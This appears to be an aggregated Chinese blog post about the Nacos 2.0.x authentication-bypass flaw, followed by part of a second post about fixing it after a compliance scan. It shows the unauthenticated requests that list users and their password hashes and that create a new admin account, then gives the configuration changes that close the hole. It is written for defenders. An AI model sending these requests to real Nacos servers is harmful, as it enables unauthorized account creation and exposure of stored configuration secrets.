Nacos身份认证漏洞
Posted 全世界最好的辣条
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Nacos身份认证漏洞相关的知识,希望对你有一定的参考价值。
背景
公司Nacos版本有用的2.0.1和2.0.3的都复现了身份认证的漏洞,无需认证身份就可以查看用户列表以及注册新用户,并且注册上来的新用户可以查看所有public命名空间下的配置资源!
漏洞复现
1、查看用户列表
- URL:
http://ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=1
- 方法类型:GET
- 返回结果:
"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":["username":"nacos","password":"$2a$10$gZoOI701ByEP8LatzrVyneAf4zoYAyLoCrrlegCeYkFbqgtaoBIQ."]
如图示:
2、用户注册
无需任何用户凭证即可新建用户,例如这里我新建admin/123456
用户。
- URL:
http://ip:8848/nacos/v1/auth/users?username=admin&password=123456
- 方法类型:POST
- 返回结果:
"code": 200,
"message": null,
"data": "create user ok!"
postman测试截图:
可以看到提示创建用户成功。使用账号登录可以看到所有public命名空间下的配置资源,这里登录截图就不贴出来了,大家可以自己去测试。
整改措施
通过检索,发现修改nacos的application.properties
的配置可以解决这个问题,需要修改的配置内容如下:
#修改配置文件application.properties,修改以下三项:
① 将nacos.core.auth.enabled=false改为true
② 将nacos.core.auth.enable.userAgentAuthWhite=true 改为false
③ nacos.core.auth.server.identity.key=自定义的值
nacos.core.auth.server.identity.value=自定义的值
#重启nacos:
systemctl restart nacos
经过实践,第三点自定义的值可以自己定义,和我们需要注册上nacos的服务配置没有关联。修改完上面配置后,再次尝试上述两个漏洞得到下列返回:
可以看到获取用户列表接口被禁止了。
可以看到新建用户接口也被禁止了。使用admin/123456
登录系统:
此时admin用户已经没有权限查看public命名空间的配置资源了。至此nacos此次的认证漏洞算是告一段落了。
奇怪的是漏洞问题最早是2020年12月份发现的,网上博客对于这个漏洞的集中爆发讨论在21年,这2022年都快过完了没想到团队才发现这个漏洞!
道友可以在博客下方留言互相探讨学习或者关注公众号fairy with you
了解更多,欢迎来撩!
注:本博客仅用于交流学习,不用于任何商业用途,欢迎思维碰撞。
等保整改之开启Nacos认证-漏扫发现我们使用Nacos时存在未授权访问的漏洞
背景
还是之前的一个小项目,部署在专网中,等保在做了一次漏扫后,说是有个高危漏洞要求整改。打开漏洞扫描报告后,总体网络风险级别为:比较危险: nacos未授权访问漏洞
,漏洞详细信息如下:
Nacos
未授权访问!?这还了得??
我们知道, Nacos
结合了注册中心与配置中心,本身在进入后台管理页面时也有一个认证(当然,我们的 Nacos
部署在专网中,并修改了默认密码),这让我们误以为后续的服务注册、配置读取与更新也是开启认证的。显然这就是自以为是的想法,这就是光顾着使用技术,而没有相对深入研究导致的安全事故。其实,官方文档中明确说明: Nacos
服务端默认是不需要登录的,这样会导致配置中心对外直接暴露。
试想一下,你的服务注册、配置读取与更新接口竟然是暴露的,没有任何认证拦截的;尤其是配置中心,通过 URL
可以直接访问到完整的配置信息,甚至包括各种服务的密码信息等,就问怕不怕。。
Nacos官方文档列出了以下服务发现与配置管理的接口:
- 服务注册
以上是关于Nacos身份认证漏洞的主要内容,如果未能解决你的问题,请参考以下文章